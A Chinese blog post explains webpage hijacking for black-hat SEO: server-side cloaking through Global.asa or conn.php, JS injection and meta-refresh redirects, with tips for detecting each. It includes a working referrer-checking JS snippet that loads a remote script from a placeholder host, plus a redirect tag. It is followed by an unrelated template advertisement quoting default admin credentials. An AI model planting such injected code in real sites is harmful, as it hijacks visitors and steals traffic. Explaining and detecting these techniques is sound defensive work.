网页劫持的一些说明

  网页劫持是目前黑帽SEO或者说黑产最喜欢的一种网页引流方式,此手法往往通过***政府、教育机构网站(权重高),修改网站源代码、放寄生虫程序、设置二级目录反向代理等实现。网页劫持可以分为服务端劫持、客户端劫持、百度快照劫持、百度搜索劫持等等;表现形式可以是劫持跳转,也可以是劫持呈现的网页内容,目前被广泛应用于私服、×××等暴利行业。
  在iis7网站劫持检测中,这些问题可以比较清楚的检查出来,从而帮助我们更加清晰的知道要解决什么问题。
  服务端劫持
  服务端劫持也称为全局劫持,手法为修改网站动态语言文本,判断访问来源控制返回内容,从来达到网站劫持的目的。
  asp/aspx/php劫持
  Global.asa、Global.asax、conn.asp、conn.php等文件比较特殊,作用是在每次执行一个动态脚本的时候,都会先加载该脚本, 然后再执行目标脚本。所以只要在 Global.asa 中写判断用户系统信息的代码(访问来源等),如果是蜘蛛访问则返回关键词网页(想要推广的网站),如果是用户访问,则返回正常页面。
  客户端劫持
  客户端劫持的手法也很多,但主要就是2种:js劫持、Header劫持。
  js劫持
  js劫持目的:通过向目标网页植入恶意js代码,控制网站跳转、隐藏页面内容、窗口劫持等。
  js植入手法:可以通过***服务器,直接写入源代码中;也可以写在数据库中,因为有些页面会呈现数据库内容。
  js劫持案例
  效果:通过搜索引擎搜索点击页面(执行一段js)跳转到×××页面;直接输入网址访问网页,跳转到404页面。
  代码:
  today=new Date();
  today=today.getYear()+"-"+(today.getMonth()+1)+"-"+today.getDate();
  var regexp=/.(sogou|so|haosou|baidu|google|youdao|yahoo|bing|gougou|118114|vnet|360|ioage|sm|sp)(.[a-z0-9-]+){1,2}\//ig;
  var where =document.referer;
  if(regexp.test(where)){
  document.write ('<script language="javascript" type="text/javascript" src="http://www.xxx.com/test.js"></script&gt;');
  }
  else
  {
  window.location.href="../../404.htm";
  }
  分析:通过referer判断来路,如果referer来路为空就是跳转到404页面,如果是搜索引擎来的referer里面也会有显示,然后在写代码控制跳转。如果只是控制实现显示不同的内容,可以修改php、asp代码;如果需要劫持搜索引擎搜索框,可以写JS代码来做浏览器本地跳转。当然js功能可以无限扩展,比如可以控制一个ip一天内第一次访问正常,其余访问跳转等等。
  header劫持
  在源代码中写入以下代码:
  1
  <meta http-equiv=“refresh“ content=“10; url=http://thief.one“&gt;
  利用的就是Meta Refresh Tag(自动转向),将流量引走。
  手法对比
  客户端劫持与服务端区别
  客户端劫持:每次访问网页从服务端获取到的网页代码都是相同的,只是控制了网页代码在浏览器中呈现的效果(比如是否进行跳转等)。
  服务端劫持:改变了每次访问网页从服务端获取到的网页代码。
  客户端劫持与服务端判断方法
  客户端劫持的判断方法:只需观察浏览器呈现的网页前端代码,查看是否引用了不当的js,或者其它敏感内容。
  服务端劫持的判断方法:可以通过观察网站后端代码,或者通过改变ip,包头等方式,观察放回源码是否不同。。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
资源标题:艺帆母婴护理服务机构网站模板 资源版本:艺帆CMS企业版1.7.5V 关键词:母婴护理,母婴护理服务机构,母婴护理服务机构网站模板 功能:单页设置 单页分类设置 新闻 产品 下载 在线招聘 在线留言 幻灯管理 友情链接管理 数据库备份 母婴护理:母婴护理是一种新兴的服务行业,指对孕妇分娩后的心理、健康、饮食、体形及婴儿成长发育、健康成长等的一种服务,等同月嫂服务!   如今母婴护理这个行业都是以“月嫂”这个名词来代替。“月嫂”从2003年开始慢慢兴起,最早出现在北京、广州、上海等一些大城市。到2008年已经在全国发展成一个很职业的群体,月嫂这个群体以下岗女工再培训就业为主体,方便了广大年轻妈妈和年轻爸爸。 艺帆母婴护理服务机构网站模板是基于艺帆企业cms制作全站DIV加CSS   对于以下几点做到非常好的优势 一.精简代码,减少重构难度。 网站使用DIV CSS布局使代码很是精简,相信大多朋友也都略有所闻,css文件可以在网站的任意一个页面进行调用,而若是使用table表格修改部分页面却是显得很麻烦。要是一个门户网站的话,需手动改很多页面,而且看着那些表格也会感觉很乱也很浪费时间,但是使用css div布局只需修改css文件中的一个代码即可。   二.网页访问速度 使用了DIV CSS布局的网页与Table布局比较,精简了许多页面代码,那么其浏览访问速度自然得以提升,也从而提升了网站的用户体验度。   三.SEO优化 采用div-css布局的网站对于搜索引擎很是友好,因此其避免了Table嵌套层次过多而无法被搜索引擎抓取的问题,而且简洁、结构化的代码更加有利于突出重点和适合搜索引擎抓取。   四.浏览器兼容性 若使用table布局网页,在使用不同浏览器情况下会发生错位,而div css则不会,无论什么浏览器,网页都不会出现变形情况。 最后,需要注意的是,蜘蛛不喜欢一个页面有太多的css代码,否则同样会影响蜘蛛的爬行,影响搜索引擎的收录,所以采用外部调用的方式调用CSS是非常不错的方法。而同时,若非必须太多花哨的网站,采用CSS布局,同样可以到达所想要的效果。如网站导航中的文字颜色变化、下拉菜单等。   艺帆CMS是由艺帆互联开发,用于服务广大互联网工作者.简单易用,高扩展性是艺帆CMS的特征,艺帆的主旨是打造最适合大众的免费cms,企业cms,免费网站模板,免费的网站制作软件   其他说明:首页幻灯才用JS而非Flash ,搜索引擎蜘蛛更能识别并爬到相关链接,默认模板全站DIV加CSS代码干净简洁,所有链接图片均有alt注释和title标注   全站完整无错,如无法架设可以去论坛看下教程 后台地址:i5808 账号:i5808 密码:123456
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值